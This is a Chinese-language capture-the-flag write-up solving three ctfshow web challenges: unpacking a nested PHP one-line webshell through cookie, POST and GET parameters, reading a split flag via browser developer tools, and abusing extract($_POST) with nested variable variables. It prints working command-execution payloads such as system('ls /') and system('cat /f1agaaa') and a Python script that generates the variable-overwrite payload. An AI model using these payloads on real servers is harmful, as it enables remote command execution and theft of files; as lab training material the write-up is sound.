web签到

 主要就是最后这个一句话木马的利用,嵌套的有点多,来理一下:

首先最里面是‘CTFshow-QQ群’,前面是$_COOKIE,也就是取的是cookie中‘CTFshow-QQ群’的值;那如果我们在cookie中传入CTFshow-QQ群=a,那么一句话木马就变成了:

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

 那么$_POST[a]就是要以POST方式传入的a参数的值,我们将传入的a=b,那么就变为了:

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

$_GET[b]也就是要以GET方式来传入b参数的值,我们再给b赋值b=c,就得到:

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

$_REQUEST[c][6][0][7][5][8][0][9][4][4],其中$_REQUEST是以任何一种方式请求都可以,c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值。因为PHP数组是可以指定ID键分配值的,那么我们就可以给C数组中的这些键直接赋值:c[6][0][7][5][8][0][9][4][4]= system('ls /');

于是我们用POST形式发包,同时注意“群”要用url编码,否则burp不识别(给c赋值时可以放在请求头也可以放在请求实体中,因为request请求方式无论是用get还是post形式都可以接受,这里放在了请求实体中):

Cookie: CTFshow-QQ%E7%BE%A4:=a

 然后我们就得到了如下返回的响应:

 很明显f1agaaa就是flag,于是我们再重新设置payload:c[6][0][7][5][8][0][9][4][4]= system('cat /f1agaaa');

 最终拿到flag:

 总结:注意请求方式和赋值的关系,还有Cookie字段的中文编码问题。

web2 c0me_t0_s1gn

他一开始给了提示,有隐藏信息,于是我们F12一下,看到有

 拿到了掐半部分的flag,有提示说需要控制台,于是点开控制台,看到提示:

可以看到提示让我们run函数g1ve_flag()来拿flag,那我们就来运行一下: 

 就拿到了后半段的flag。

总结:要学会使用开发者工具。

我的眼里只有$

一共这几句代码,主要还是一句话木马里的变量。

extract($_POST);
# 将post上来的数据直接都解析成变量的形式,在代码中可以直接使用
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
#变量嵌套

eval()函数中的还是变量嵌套(刚开始以为只需要传最后一个$_的值就好了,没想到是不停的变量嵌套),注意都到在POST中传入。首先是给$_赋值:_=a,再给$a赋值,a=b······以此类推一共有36个$,需要赋值36次。也不能手写吧,写个脚本(注意:变量不能出现重复):

import string
list = string.ascii_letters#所有大小写字母
payload="system('ls /');"
print('_=a',end='&')
for i in range(0,34):
    print(f'{list[i]}={list[i+1]}',end='&')
    if i==33:
        print(f'{list[i+1]}={payload}')

运行得到:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')

以POST形式传入,

 得到响应:

 可以看到flag文件,于是再将payload更改一下:

 

 即可得到flag:

 总结:变量覆盖;且变量不能出现重复。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐